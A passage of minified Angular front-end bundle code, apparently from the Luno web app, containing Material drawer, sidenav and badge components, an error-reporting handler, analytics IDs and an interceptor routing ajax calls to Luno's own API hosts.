handler",1);t.ngDebugContext&&e.addMetadata("angular",{component:t.ngDebugContext.component,context:t.ngDebugContext.context}),this.bugsnagClient._notify(e),a.qLn.prototype.handleError.call(this,t)}}]),n}(a.qLn);S.\u0275fac=function(t){return new(t||S)(a.LFG(C.Client))},S.\u0275prov=a.Yz7({token:S,factory:function(t){return S.\u0275fac(t)}}),S=function(t,e,n,i){var r,o=arguments.length,a=o<3?e:null===i?i=Object.getOwnPropertyDescriptor(e,n):i;if("object"==typeof Reflect&&"function"==typeof Reflect.decorate)a=Reflect.decorate(t,e,n,i);else for(var s=t.length-1;s>=0;s--)(r=t[s])&&(a=(o<3?r(a):o>3?r(e,n,a):r(e,n))||a);return o>3&&a&&Object.defineProperty(e,n,a),a}([function(t,e){if("object"==typeof Reflect&&"function"==typeof Reflect.metadata)return Reflect.metadata("design:paramtypes",e)}(0,[C.Client])],S);var E,A=n(67456),T=n(42118),I=n(74058),O=n(24298),R=n(22213),P=n(52529),N=((E=function t(){_(this,t)}).\u0275fac=function(t){return new(t||E)},E.\u0275mod=a.oAB({type:E}),E.\u0275inj=a.cJS({imports:[[s.ez,R.Is,A.h,T.QW,I.p9,P.Ps,O.si]]}),E),D=function(){var t=function t(){_(this,t)};return t.\u0275fac=function(e){return new(e||t)},t.\u0275mod=a.oAB({type:t}),t.\u0275inj=a.cJS({imports:[[s.ez,A.h,N]]}),t}(),L=n(36145),M=n(22102),F=n(20657),U=n(90084),B=n(79441),j=n(82516),H=n(89919),V=n(9170),G=n(33927),Y=n(71003);function q(t){return function(e){return e.lift(new z(t))}}var z=function(){function t(e){_(this,t),this.value=e}return y(t,[{key:"call",value:function(t,e){return e.subscribe(new Z(t,this.value))}}]),t}(),Z=function(t){l(n,t);var e=f(n);function n(t,i){var r;return _(this,n),(r=e.call(this,t)).value=i,r}return y(n,[{key:"_next",value:function(t){this.destination.next(this.value)}}]),n}(Y.L),W=n(22663),J=n(83720),Q=n(53466),K=n(1143),X=n(80639),$=n(97175),tt=n(51606),et=n(772),nt=["*"];function it(t,e){if(1&t){var n=a.EpF();a.TgZ(0,"div",2),a.NdJ("click",function(){return a.CHM(n),a.oxw()._onBackdropClicked()}),a.qZA()}if(2&t){var i=a.oxw();a.ekj("mat-drawer-shown",i._isShowingBackdrop())}}function rt(t,e){1&t&&(a.TgZ(0,"mat-drawer-content"),a.Hsn(1,2),a.qZA())}var ot=[[["mat-drawer"]],[["mat-drawer-content"]],"*"],at=["mat-drawer","mat-drawer-content","*"];function st(t,e){if(1&t){var n=a.EpF();a.TgZ(0,"div",2),a.NdJ("click",function(){return a.CHM(n),a.oxw()._onBackdropClicked()}),a.qZA()}if(2&t){var i=a.oxw();a.ekj("mat-drawer-shown",i._isShowingBackdrop())}}function ut(t,e){1&t&&(a.TgZ(0,"mat-sidenav-content",3),a.Hsn(1,2),a.qZA())}var ct=[[["mat-sidenav"]],[["mat-sidenav-content"]],"*"],lt=["mat-sidenav","mat-sidenav-content","*"],ht=".mat-drawer-container{position:relative;z-index:1;box-sizing:border-box;-webkit-overflow-scrolling:touch;display:block;overflow:hidden}.mat-drawer-container[fullscreen]{top:0;left:0;right:0;bottom:0;position:absolute}.mat-drawer-container[fullscreen].mat-drawer-container-has-open{overflow:hidden}.mat-drawer-container.mat-drawer-container-explicit-backdrop .mat-drawer-side{z-index:3}.mat-drawer-container.ng-animate-disabled .mat-drawer-backdrop,.mat-drawer-container.ng-animate-disabled .mat-drawer-content,.ng-animate-disabled .mat-drawer-container .mat-drawer-backdrop,.ng-animate-disabled .mat-drawer-container .mat-drawer-content{transition:none}.mat-drawer-backdrop{top:0;left:0;right:0;bottom:0;position:absolute;display:block;z-index:3;visibility:hidden}.mat-drawer-backdrop.mat-drawer-shown{visibility:visible}.mat-drawer-transition .mat-drawer-backdrop{transition-duration:400ms;transition-timing-function:cubic-bezier(0.25, 0.8, 0.25, 1);transition-property:background-color,visibility}.cdk-high-contrast-active .mat-drawer-backdrop{opacity:.5}.mat-drawer-content{position:relative;z-index:1;display:block;height:100%;overflow:auto}.mat-drawer-transition .mat-drawer-content{transition-duration:400ms;transition-timing-function:cubic-bezier(0.25, 0.8, 0.25, 1);transition-property:transform,margin-left,margin-right}.mat-drawer{position:relative;z-index:4;display:block;position:absolute;top:0;bottom:0;z-index:3;outline:0;box-sizing:border-box;overflow-y:auto;transform:translate3d(-100%, 0, 0)}.cdk-high-contrast-active .mat-drawer,.cdk-high-contrast-active [dir=rtl] .mat-drawer.mat-drawer-end{border-right:solid 1px currentColor}.cdk-high-contrast-active [dir=rtl] .mat-drawer,.cdk-high-contrast-active .mat-drawer.mat-drawer-end{border-left:solid 1px currentColor;border-right:none}.mat-drawer.mat-drawer-side{z-index:2}.mat-drawer.mat-drawer-end{right:0;transform:translate3d(100%, 0, 0)}[dir=rtl] .mat-drawer{transform:translate3d(100%, 0, 0)}[dir=rtl] .mat-drawer.mat-drawer-end{left:0;right:auto;transform:translate3d(-100%, 0, 0)}.mat-drawer-inner-container{width:100%;height:100%;overflow:auto;-webkit-overflow-scrolling:touch}.mat-sidenav-fixed{position:fixed}\n",ft={transformDrawer:(0,$.X$)("transform",[(0,$.SB)("open, open-instant",(0,$.oB)({transform:"none",visibility:"visible"})),(0,$.SB)("void",(0,$.oB)({"box-shadow":"none",visibility:"hidden"})),(0,$.eR)("void => open-instant",(0,$.jt)("0ms")),(0,$.eR)("void <=> open, open-instant => void",(0,$.jt)("400ms cubic-bezier(0.25, 0.8, 0.25, 1)"))])},dt=new a.OlP("MAT_DRAWER_DEFAULT_AUTOSIZE",{providedIn:"root",factory:function(){return!1}}),pt=new a.OlP("MAT_DRAWER_CONTAINER"),vt=function(){var t=function(t){l(n,t);var e=f(n);function n(t,i,r,o,a){var s;return _(this,n),(s=e.call(this,r,o,a))._changeDetectorRef=t,s._container=i,s}return y(n,[{key:"ngAfterContentInit",value:function(){var t=this;this._container._contentMarginChanges.subscribe(function(){t._changeDetectorRef.markForCheck()})}}]),n}(M.PQ);return t.\u0275fac=function(e){return new(e||t)(a.Y36(a.sBO),a.Y36((0,a.Gpc)(function(){return gt})),a.Y36(a.SBq),a.Y36(M.mF),a.Y36(a.R0b))},t.\u0275cmp=a.Xpm({type:t,selectors:[["mat-drawer-content"]],hostAttrs:[1,"mat-drawer-content"],hostVars:4,hostBindings:function(t,e){2&t&&a.Udp("margin-left",e._container._contentMargins.left,"px")("margin-right",e._container._contentMargins.right,"px")},features:[a.qOj],ngContentSelectors:nt,decls:1,vars:0,template:function(t,e){1&t&&(a.F$t(),a.Hsn(0))},encapsulation:2,changeDetection:0}),t}(),mt=function(){var t=function(){function t(e,n,i,r,o,s,u){var c=this;_(this,t),this._elementRef=e,this._focusTrapFactory=n,this._focusMonitor=i,this._platform=r,this._ngZone=o,this._doc=s,this._container=u,this._elementFocusedBeforeDrawerWasOpened=null,this._enableAnimations=!1,this._position="start",this._mode="over",this._disableClose=!1,this._opened=!1,this._animationStarted=new B.xQ,this._animationEnd=new B.xQ,this._animationState="void",this.openedChange=new a.vpe(!0),this._openedStream=this.openedChange.pipe((0,V.h)(function(t){return t}),(0,G.U)(function(){})),this.openedStart=this._animationStarted.pipe((0,V.h)(function(t){return t.fromState!==t.toState&&0===t.toState.indexOf("open")}),q(void 0)),this._closedStream=this.openedChange.pipe((0,V.h)(function(t){return!t}),(0,G.U)(function(){})),this.closedStart=this._animationStarted.pipe((0,V.h)(function(t){return t.fromState!==t.toState&&"void"===t.toState}),q(void 0)),this._destroyed=new B.xQ,this.onPositionChanged=new a.vpe,this._modeChanged=new B.xQ,this.openedChange.subscribe(function(t){t?(c._doc&&(c._elementFocusedBeforeDrawerWasOpened=c._doc.activeElement),c._takeFocus()):c._isFocusWithinDrawer()&&c._restoreFocus()}),this._ngZone.runOutsideAngular(function(){(0,j.R)(c._elementRef.nativeElement,"keydown").pipe((0,V.h)(function(t){return t.keyCode===U.hY&&!c.disableClose&&!(0,U.Vb)(t)}),(0,W.R)(c._destroyed)).subscribe(function(t){return c._ngZone.run(function(){c.close(),t.stopPropagation(),t.preventDefault()})})}),this._animationEnd.pipe((0,J.x)(function(t,e){return t.fromState===e.fromState&&t.toState===e.toState})).subscribe(function(t){var e=t.fromState,n=t.toState;(0===n.indexOf("open")&&"void"===e||"void"===n&&0===e.indexOf("open"))&&c.openedChange.emit(c._opened)})}return y(t,[{key:"position",get:function(){return this._position},set:function(t){(t="end"===t?"end":"start")!=this._position&&(this._position=t,this.onPositionChanged.emit())}},{key:"mode",get:function(){return this._mode},set:function(t){this._mode=t,this._updateFocusTrapState(),this._modeChanged.next()}},{key:"disableClose",get:function(){return this._disableClose},set:function(t){this._disableClose=(0,F.Ig)(t)}},{key:"autoFocus",get:function(){var t=this._autoFocus;return null==t?"side"!==this.mode:t},set:function(t){this._autoFocus=(0,F.Ig)(t)}},{key:"opened",get:function(){return this._opened},set:function(t){this.toggle((0,F.Ig)(t))}},{key:"_takeFocus",value:function(){var t=this;!this.autoFocus||!this._focusTrap||this._focusTrap.focusInitialElementWhenReady().then(function(e){!e&&"function"==typeof t._elementRef.nativeElement.focus&&t._elementRef.nativeElement.focus()})}},{key:"_restoreFocus",value:function(){!this.autoFocus||(this._elementFocusedBeforeDrawerWasOpened?this._focusMonitor.focusVia(this._elementFocusedBeforeDrawerWasOpened,this._openedVia):this._elementRef.nativeElement.blur(),this._elementFocusedBeforeDrawerWasOpened=null,this._openedVia=null)}},{key:"_isFocusWithinDrawer",value:function(){var t,e=null===(t=this._doc)||void 0===t?void 0:t.activeElement;return!!e&&this._elementRef.nativeElement.contains(e)}},{key:"ngAfterContentInit",value:function(){this._focusTrap=this._focusTrapFactory.create(this._elementRef.nativeElement),this._updateFocusTrapState()}},{key:"ngAfterContentChecked",value:function(){this._platform.isBrowser&&(this._enableAnimations=!0)}},{key:"ngOnDestroy",value:function(){this._focusTrap&&this._focusTrap.destroy(),this._animationStarted.complete(),this._animationEnd.complete(),this._modeChanged.complete(),this._destroyed.next(),this._destroyed.complete()}},{key:"open",value:function(t){return this.toggle(!0,t)}},{key:"close",value:function(){return this.toggle(!1)}},{key:"_closeViaBackdropClick",value:function(){return this._setOpen(!1,!0)}},{key:"toggle",value:function(){var t=arguments.length>0&&void 0!==arguments[0]?arguments[0]:!this.opened,e=arguments.length>1?arguments[1]:void 0;return this._setOpen(t,!t&&this._isFocusWithinDrawer(),e)}},{key:"_setOpen",value:function(t,e){var n=this,i=arguments.length>2&&void 0!==arguments[2]?arguments[2]:"program";return this._opened=t,t?(this._animationState=this._enableAnimations?"open":"open-instant",this._openedVia=i):(this._animationState="void",e&&this._restoreFocus()),this._updateFocusTrapState(),new Promise(function(t){n.openedChange.pipe((0,Q.q)(1)).subscribe(function(e){return t(e?"open":"close")})})}},{key:"_getWidth",value:function(){return this._elementRef.nativeElement&&this._elementRef.nativeElement.offsetWidth||0}},{key:"_updateFocusTrapState",value:function(){this._focusTrap&&(this._focusTrap.enabled=this.opened&&"side"!==this.mode)}},{key:"_animationStartListener",value:function(t){this._animationStarted.next(t)}},{key:"_animationDoneListener",value:function(t){this._animationEnd.next(t)}}]),t}();return t.\u0275fac=function(e){return new(e||t)(a.Y36(a.SBq),a.Y36(tt.qV),a.Y36(tt.tE),a.Y36(L.t4),a.Y36(a.R0b),a.Y36(s.K0,8),a.Y36(pt,8))},t.\u0275cmp=a.Xpm({type:t,selectors:[["mat-drawer"]],hostAttrs:["tabIndex","-1",1,"mat-drawer"],hostVars:12,hostBindings:function(t,e){1&t&&a.WFA("@transform.start",function(t){return e._animationStartListener(t)})("@transform.done",function(t){return e._animationDoneListener(t)}),2&t&&(a.uIk("align",null),a.d8E("@transform",e._animationState),a.ekj("mat-drawer-end","end"===e.position)("mat-drawer-over","over"===e.mode)("mat-drawer-push","push"===e.mode)("mat-drawer-side","side"===e.mode)("mat-drawer-opened",e.opened))},inputs:{position:"position",mode:"mode",disableClose:"disableClose",autoFocus:"autoFocus",opened:"opened"},outputs:{openedChange:"openedChange",_openedStream:"opened",openedStart:"openedStart",_closedStream:"closed",closedStart:"closedStart",onPositionChanged:"positionChanged"},exportAs:["matDrawer"],ngContentSelectors:nt,decls:2,vars:0,consts:[["cdkScrollable","",1,"mat-drawer-inner-container"]],template:function(t,e){1&t&&(a.F$t(),a.TgZ(0,"div",0),a.Hsn(1),a.qZA())},directives:[M.PQ],encapsulation:2,data:{animation:[ft.transformDrawer]},changeDetection:0}),t}(),gt=function(){var t=function(){function t(e,n,i,r,o){var s=this,u=arguments.length>5&&void 0!==arguments[5]&&arguments[5],c=arguments.length>6?arguments[6]:void 0;_(this,t),this._dir=e,this._element=n,this._ngZone=i,this._changeDetectorRef=r,this._animationMode=c,this._drawers=new a.n_E,this.backdropClick=new a.vpe,this._destroyed=new B.xQ,this._doCheckSubject=new B.xQ,this._contentMargins={left:null,right:null},this._contentMarginChanges=new B.xQ,e&&e.change.pipe((0,W.R)(this._destroyed)).subscribe(function(){s._validateDrawers(),s.updateContentMargins()}),o.change().pipe((0,W.R)(this._destroyed)).subscribe(function(){return s.updateContentMargins()}),this._autosize=u}return y(t,[{key:"start",get:function(){return this._start}},{key:"end",get:function(){return this._end}},{key:"autosize",get:function(){return this._autosize},set:function(t){this._autosize=(0,F.Ig)(t)}},{key:"hasBackdrop",get:function(){return null==this._backdropOverride?!this._start||"side"!==this._start.mode||!this._end||"side"!==this._end.mode:this._backdropOverride},set:function(t){this._backdropOverride=null==t?null:(0,F.Ig)(t)}},{key:"scrollable",get:function(){return this._userContent||this._content}},{key:"ngAfterContentInit",value:function(){var t=this;this._allDrawers.changes.pipe((0,K.O)(this._allDrawers),(0,W.R)(this._destroyed)).subscribe(function(e){t._drawers.reset(e.filter(function(e){return!e._container||e._container===t})),t._drawers.notifyOnChanges()}),this._drawers.changes.pipe((0,K.O)(null)).subscribe(function(){t._validateDrawers(),t._drawers.forEach(function(e){t._watchDrawerToggle(e),t._watchDrawerPosition(e),t._watchDrawerMode(e)}),(!t._drawers.length||t._isDrawerOpen(t._start)||t._isDrawerOpen(t._end))&&t.updateContentMargins(),t._changeDetectorRef.markForCheck()}),this._ngZone.runOutsideAngular(function(){t._doCheckSubject.pipe((0,X.b)(10),(0,W.R)(t._destroyed)).subscribe(function(){return t.updateContentMargins()})})}},{key:"ngOnDestroy",value:function(){this._contentMarginChanges.complete(),this._doCheckSubject.complete(),this._drawers.destroy(),this._destroyed.next(),this._destroyed.complete()}},{key:"open",value:function(){this._drawers.forEach(function(t){return t.open()})}},{key:"close",value:function(){this._drawers.forEach(function(t){return t.close()})}},{key:"updateContentMargins",value:function(){var t=this,e=0,n=0;if(this._left&&this._left.opened)if("side"==this._left.mode)e+=this._left._getWidth();else if("push"==this._left.mode){var i=this._left._getWidth();e+=i,n-=i}if(this._right&&this._right.opened)if("side"==this._right.mode)n+=this._right._getWidth();else if("push"==this._right.mode){var r=this._right._getWidth();n+=r,e-=r}n=n||null,((e=e||null)!==this._contentMargins.left||n!==this._contentMargins.right)&&(this._contentMargins={left:e,right:n},this._ngZone.run(function(){return t._contentMarginChanges.next(t._contentMargins)}))}},{key:"ngDoCheck",value:function(){var t=this;this._autosize&&this._isPushed()&&this._ngZone.runOutsideAngular(function(){return t._doCheckSubject.next()})}},{key:"_watchDrawerToggle",value:function(t){var e=this;t._animationStarted.pipe((0,V.h)(function(t){return t.fromState!==t.toState}),(0,W.R)(this._drawers.changes)).subscribe(function(t){"open-instant"!==t.toState&&"NoopAnimations"!==e._animationMode&&e._element.nativeElement.classList.add("mat-drawer-transition"),e.updateContentMargins(),e._changeDetectorRef.markForCheck()}),"side"!==t.mode&&t.openedChange.pipe((0,W.R)(this._drawers.changes)).subscribe(function(){return e._setContainerClass(t.opened)})}},{key:"_watchDrawerPosition",value:function(t){var e=this;!t||t.onPositionChanged.pipe((0,W.R)(this._drawers.changes)).subscribe(function(){e._ngZone.onMicrotaskEmpty.pipe((0,Q.q)(1)).subscribe(function(){e._validateDrawers()})})}},{key:"_watchDrawerMode",value:function(t){var e=this;t&&t._modeChanged.pipe((0,W.R)((0,H.T)(this._drawers.changes,this._destroyed))).subscribe(function(){e.updateContentMargins(),e._changeDetectorRef.markForCheck()})}},{key:"_setContainerClass",value:function(t){var e=this._element.nativeElement.classList,n="mat-drawer-container-has-open";t?e.add(n):e.remove(n)}},{key:"_validateDrawers",value:function(){var t=this;this._start=this._end=null,this._drawers.forEach(function(e){"end"==e.position?t._end=e:t._start=e}),this._right=this._left=null,this._dir&&"rtl"===this._dir.value?(this._left=this._end,this._right=this._start):(this._left=this._start,this._right=this._end)}},{key:"_isPushed",value:function(){return this._isDrawerOpen(this._start)&&"over"!=this._start.mode||this._isDrawerOpen(this._end)&&"over"!=this._end.mode}},{key:"_onBackdropClicked",value:function(){this.backdropClick.emit(),this._closeModalDrawersViaBackdrop()}},{key:"_closeModalDrawersViaBackdrop",value:function(){var t=this;[this._start,this._end].filter(function(e){return e&&!e.disableClose&&t._canHaveBackdrop(e)}).forEach(function(t){return t._closeViaBackdropClick()})}},{key:"_isShowingBackdrop",value:function(){return this._isDrawerOpen(this._start)&&this._canHaveBackdrop(this._start)||this._isDrawerOpen(this._end)&&this._canHaveBackdrop(this._end)}},{key:"_canHaveBackdrop",value:function(t){return"side"!==t.mode||!!this._backdropOverride}},{key:"_isDrawerOpen",value:function(t){return null!=t&&t.opened}}]),t}();return t.\u0275fac=function(e){return new(e||t)(a.Y36(et.Is,8),a.Y36(a.SBq),a.Y36(a.R0b),a.Y36(a.sBO),a.Y36(M.rL),a.Y36(dt),a.Y36(w.Qb,8))},t.\u0275cmp=a.Xpm({type:t,selectors:[["mat-drawer-container"]],contentQueries:function(t,e,n){var i;(1&t&&(a.Suo(n,vt,5),a.Suo(n,mt,5)),2&t)&&(a.iGM(i=a.CRH())&&(e._content=i.first),a.iGM(i=a.CRH())&&(e._allDrawers=i))},viewQuery:function(t,e){var n;(1&t&&a.Gf(vt,5),2&t)&&(a.iGM(n=a.CRH())&&(e._userContent=n.first))},hostAttrs:[1,"mat-drawer-container"],hostVars:2,hostBindings:function(t,e){2&t&&a.ekj("mat-drawer-container-explicit-backdrop",e._backdropOverride)},inputs:{autosize:"autosize",hasBackdrop:"hasBackdrop"},outputs:{backdropClick:"backdropClick"},exportAs:["matDrawerContainer"],features:[a._Bn([{provide:pt,useExisting:t}])],ngContentSelectors:at,decls:4,vars:2,consts:[["class","mat-drawer-backdrop",3,"mat-drawer-shown","click",4,"ngIf"],[4,"ngIf"],[1,"mat-drawer-backdrop",3,"click"]],template:function(t,e){1&t&&(a.F$t(ot),a.YNc(0,it,1,2,"div",0),a.Hsn(1),a.Hsn(2,1),a.YNc(3,rt,2,0,"mat-drawer-content",1)),2&t&&(a.Q6J("ngIf",e.hasBackdrop),a.xp6(3),a.Q6J("ngIf",!e._content))},directives:[s.O5,vt],styles:[ht],encapsulation:2,changeDetection:0}),t}(),yt=function(){var t=function(t){l(n,t);var e=f(n);function n(t,i,r,o,a){return _(this,n),e.call(this,t,i,r,o,a)}return n}(vt);return t.\u0275fac=function(e){return new(e||t)(a.Y36(a.sBO),a.Y36((0,a.Gpc)(function(){return bt})),a.Y36(a.SBq),a.Y36(M.mF),a.Y36(a.R0b))},t.\u0275cmp=a.Xpm({type:t,selectors:[["mat-sidenav-content"]],hostAttrs:[1,"mat-drawer-content","mat-sidenav-content"],hostVars:4,hostBindings:function(t,e){2&t&&a.Udp("margin-left",e._container._contentMargins.left,"px")("margin-right",e._container._contentMargins.right,"px")},features:[a.qOj],ngContentSelectors:nt,decls:1,vars:0,template:function(t,e){1&t&&(a.F$t(),a.Hsn(0))},encapsulation:2,changeDetection:0}),t}(),_t=function(){var t,e=function(t){l(n,t);var e=f(n);function n(){var t;return _(this,n),(t=e.apply(this,arguments))._fixedInViewport=!1,t._fixedTopGap=0,t._fixedBottomGap=0,t}return y(n,[{key:"fixedInViewport",get:function(){return this._fixedInViewport},set:function(t){this._fixedInViewport=(0,F.Ig)(t)}},{key:"fixedTopGap",get:function(){return this._fixedTopGap},set:function(t){this._fixedTopGap=(0,F.su)(t)}},{key:"fixedBottomGap",get:function(){return this._fixedBottomGap},set:function(t){this._fixedBottomGap=(0,F.su)(t)}}]),n}(mt);return e.\u0275fac=function(n){return(t||(t=a.n5z(e)))(n||e)},e.\u0275cmp=a.Xpm({type:e,selectors:[["mat-sidenav"]],hostAttrs:["tabIndex","-1",1,"mat-drawer","mat-sidenav"],hostVars:17,hostBindings:function(t,e){2&t&&(a.uIk("align",null),a.Udp("top",e.fixedInViewport?e.fixedTopGap:null,"px")("bottom",e.fixedInViewport?e.fixedBottomGap:null,"px"),a.ekj("mat-drawer-end","end"===e.position)("mat-drawer-over","over"===e.mode)("mat-drawer-push","push"===e.mode)("mat-drawer-side","side"===e.mode)("mat-drawer-opened",e.opened)("mat-sidenav-fixed",e.fixedInViewport))},inputs:{fixedInViewport:"fixedInViewport",fixedTopGap:"fixedTopGap",fixedBottomGap:"fixedBottomGap"},exportAs:["matSidenav"],features:[a.qOj],ngContentSelectors:nt,decls:2,vars:0,consts:[["cdkScrollable","",1,"mat-drawer-inner-container"]],template:function(t,e){1&t&&(a.F$t(),a.TgZ(0,"div",0),a.Hsn(1),a.qZA())},directives:[M.PQ],encapsulation:2,data:{animation:[ft.transformDrawer]},changeDetection:0}),e}(),bt=function(){var t,e=function(t){l(n,t);var e=f(n);function n(){return _(this,n),e.apply(this,arguments)}return n}(gt);return e.\u0275fac=function(n){return(t||(t=a.n5z(e)))(n||e)},e.\u0275cmp=a.Xpm({type:e,selectors:[["mat-sidenav-container"]],contentQueries:function(t,e,n){var i;(1&t&&(a.Suo(n,yt,5),a.Suo(n,_t,5)),2&t)&&(a.iGM(i=a.CRH())&&(e._content=i.first),a.iGM(i=a.CRH())&&(e._allDrawers=i))},hostAttrs:[1,"mat-drawer-container","mat-sidenav-container"],hostVars:2,hostBindings:function(t,e){2&t&&a.ekj("mat-drawer-container-explicit-backdrop",e._backdropOverride)},exportAs:["matSidenavContainer"],features:[a._Bn([{provide:pt,useExisting:e}]),a.qOj],ngContentSelectors:lt,decls:4,vars:2,consts:[["class","mat-drawer-backdrop",3,"mat-drawer-shown","click",4,"ngIf"],["cdkScrollable","",4,"ngIf"],[1,"mat-drawer-backdrop",3,"click"],["cdkScrollable",""]],template:function(t,e){1&t&&(a.F$t(ct),a.YNc(0,st,1,2,"div",0),a.Hsn(1),a.Hsn(2,1),a.YNc(3,ut,2,0,"mat-sidenav-content",1)),2&t&&(a.Q6J("ngIf",e.hasBackdrop),a.xp6(3),a.Q6J("ngIf",!e._content))},directives:[s.O5,yt,M.PQ],styles:[ht],encapsulation:2,changeDetection:0}),e}(),kt=function(){var t=function t(){_(this,t)};return t.\u0275fac=function(e){return new(e||t)},t.\u0275mod=a.oAB({type:t}),t.\u0275inj=a.cJS({imports:[[s.ez,O.BQ,L.ud,M.ZD],M.ZD,O.BQ]}),t}(),wt=n(47532),Ct=0,xt=(0,O.Id)(function(){return function t(){_(this,t)}}()),St=function(){var t=function(t){l(n,t);var e=f(n);function n(t,i,r,o,a){var s;return _(this,n),(s=e.call(this))._ngZone=t,s._elementRef=i,s._ariaDescriber=r,s._renderer=o,s._animationMode=a,s._hasContent=!1,s._color="primary",s._overlap=!0,s.position="above after",s.size="medium",s._id=Ct++,s}return y(n,[{key:"color",get:function(){return this._color},set:function(t){this._setColor(t),this._color=t}},{key:"overlap",get:function(){return this._overlap},set:function(t){this._overlap=(0,F.Ig)(t)}},{key:"description",get:function(){return this._description},set:function(t){if(t!==this._description){var e=this._badgeElement;this._updateHostAriaDescription(t,this._description),this._description=t,e&&(t?e.setAttribute("aria-label",t):e.removeAttribute("aria-label"))}}},{key:"hidden",get:function(){return this._hidden},set:function(t){this._hidden=(0,F.Ig)(t)}},{key:"isAbove",value:function(){return-1===this.position.indexOf("below")}},{key:"isAfter",value:function(){return-1===this.position.indexOf("before")}},{key:"ngOnChanges",value:function(t){var e=t.content;if(e){var n=e.currentValue;this._hasContent=null!=n&&"".concat(n).trim().length>0,this._updateTextContent()}}},{key:"ngOnDestroy",value:function(){var t=this._badgeElement;t&&(this.description&&this._ariaDescriber.removeDescription(t,this.description),this._renderer.destroyNode&&this._renderer.destroyNode(t))}},{key:"getBadgeElement",value:function(){return this._badgeElement}},{key:"_updateTextContent",value:function(){return this._badgeElement?this._badgeElement.textContent=this._stringifyContent():this._badgeElement=this._createBadgeElement(),this._badgeElement}},{key:"_createBadgeElement",value:function(){var t=this._renderer.createElement("span"),e="mat-badge-active",n="mat-badge-content";return this._clearExistingBadges(n),t.setAttribute("id","mat-badge-content-".concat(this._id)),t.classList.add(n),t.textContent=this._stringifyContent(),"NoopAnimations"===this._animationMode&&t.classList.add("_mat-animation-noopable"),this.description&&t.setAttribute("aria-label",this.description),this._elementRef.nativeElement.appendChild(t),"function"==typeof requestAnimationFrame&&"NoopAnimations"!==this._animationMode?this._ngZone.runOutsideAngular(function(){requestAnimationFrame(function(){t.classList.add(e)})}):t.classList.add(e),t}},{key:"_updateHostAriaDescription",value:function(t,e){var n=this._updateTextContent();e&&this._ariaDescriber.removeDescription(n,e),t&&this._ariaDescriber.describe(n,t)}},{key:"_setColor",value:function(t){if(t!==this._color){var e=this._elementRef.nativeElement.classList;this._color&&e.remove("mat-badge-".concat(this._color)),t&&e.add("mat-badge-".concat(t))}}},{key:"_clearExistingBadges",value:function(t){for(var e=this._elementRef.nativeElement,n=e.children.length;n--;){var i=e.children[n];i.classList.contains(t)&&e.removeChild(i)}}},{key:"_stringifyContent",value:function(){var t=this.content;return null==t?"":"".concat(t)}}]),n}(xt);return t.\u0275fac=function(e){return new(e||t)(a.Y36(a.R0b),a.Y36(a.SBq),a.Y36(tt.$s),a.Y36(a.Qsj),a.Y36(w.Qb,8))},t.\u0275dir=a.lG2({type:t,selectors:[["","matBadge",""]],hostAttrs:[1,"mat-badge"],hostVars:20,hostBindings:function(t,e){2&t&&a.ekj("mat-badge-overlap",e.overlap)("mat-badge-above",e.isAbove())("mat-badge-below",!e.isAbove())("mat-badge-before",!e.isAfter())("mat-badge-after",e.isAfter())("mat-badge-small","small"===e.size)("mat-badge-medium","medium"===e.size)("mat-badge-large","large"===e.size)("mat-badge-hidden",e.hidden||!e._hasContent)("mat-badge-disabled",e.disabled)},inputs:{disabled:["matBadgeDisabled","disabled"],position:["matBadgePosition","position"],size:["matBadgeSize","size"],color:["matBadgeColor","color"],overlap:["matBadgeOverlap","overlap"],description:["matBadgeDescription","description"],hidden:["matBadgeHidden","hidden"],content:["matBadge","content"]},features:[a.qOj,a.TTD]}),t}(),Et=function(){var t=function t(){_(this,t)};return t.\u0275fac=function(e){return new(e||t)},t.\u0275mod=a.oAB({type:t}),t.\u0275inj=a.cJS({imports:[[tt.rt,O.BQ],O.BQ]}),t}(),At=function(){var t=function t(){_(this,t)};return t.\u0275fac=function(e){return new(e||t)},t.\u0275mod=a.oAB({type:t}),t.\u0275inj=a.cJS({imports:[[s.ez,Et]]}),t}(),Tt=n(70781),It=n(11378),Ot=function(){var t=function t(){_(this,t)};return t.\u0275fac=function(e){return new(e||t)},t.\u0275mod=a.oAB({type:t}),t.\u0275inj=a.cJS({imports:[[s.ez,O.si,It.N,P.Ps,Tt.ot]]}),t}(),Rt=function(){var t=function t(){_(this,t)};return t.\u0275fac=function(e){return new(e||t)},t.\u0275mod=a.oAB({type:t}),t.\u0275inj=a.cJS({imports:[[s.ez,It.N,P.Ps,A.h,Ot,O.si,wt.Bz,At]]}),t}(),Pt=n(10384),Nt=function(){var t=function t(){_(this,t)};return t.\u0275fac=function(e){return new(e||t)},t.\u0275mod=a.oAB({type:t}),t.\u0275inj=a.cJS({imports:[[At,A.h,s.ez,Ot,It.N,P.Ps,O.si,wt.Bz,Pt.Y]]}),t}(),Dt=function(){var t=function t(){_(this,t)};return t.\u0275fac=function(e){return new(e||t)},t.\u0275mod=a.oAB({type:t}),t.\u0275inj=a.cJS({imports:[[s.ez,kt,Nt,Rt]]}),t}(),Lt=function(){return(t=Lt||(Lt={})).GeneralGtagId="G-RPBN9JG6XG",t.GeneralUniversalId="UA-39013173-1",t.ExpressGtagId="G-3BQF1G8ENL",Lt;var t}(),Mt=n(46436),Ft=n(18742),Ut=function(){var t=function(){function t(e){_(this,t),this.windowRef=e,this.hostMap={"new.staging.luno.com":"https://ajax.staging.luno.com","staging.luno.com":"https://ajax.staging.luno.com","app.staging.luno.com":"https://ajax.staging.luno.com","trade.staging.luno.com":"https://ajax.staging.luno.com","new-www.luno.com":"https://ajax.luno.com","www.luno.com":"https://ajax.luno.com","app.luno.com":"https://ajax.luno.com","trade.luno.com":"https://ajax.luno.com"},this.ajaxRegex=new RegExp(/^\/ajax/)}return y(t,[{key:"intercept",value:function(t,e){var n=this.windowRef.nativeWindow.location.host;if(n in this.hostMap&&this.ajaxRegex.test(t.url)){var i=t.clone({url:this.hostMap[n]+t.url,withCredentials:!0});return e.handle(i)}return e.handle(t)}}]),t}();return t.\u0275fac=function(e){return new(e||t)(a.LFG(Ft.X))},t.\u0275prov=a.Yz7({token:t,factory:t.\u0275fac,providedIn:"root"}),t}(),Bt=n(58193),jt=function(){return(t=jt||(jt={})).local="127.0.0.1:9000",t.Staging="staging.luno.com",t.Production="www.luno.com",jt;var t}();function Ht(t){return t.appVersion}var Vt=n(58625),Gt=n(70227),Yt=n(80722),qt=n(50501),zt=n(98045),Zt=n(30706),Wt=n(62901),Jt=n(92932),Qt=function(){var t=function(){function t(e,n){_(this,t),this.feature=e,this.router=n}return y(t,[{key:"canActivate",value:function(t){var e,n;if(!(null===(n=null===(e=null==t?void 0:t.data)||void 0===e?void 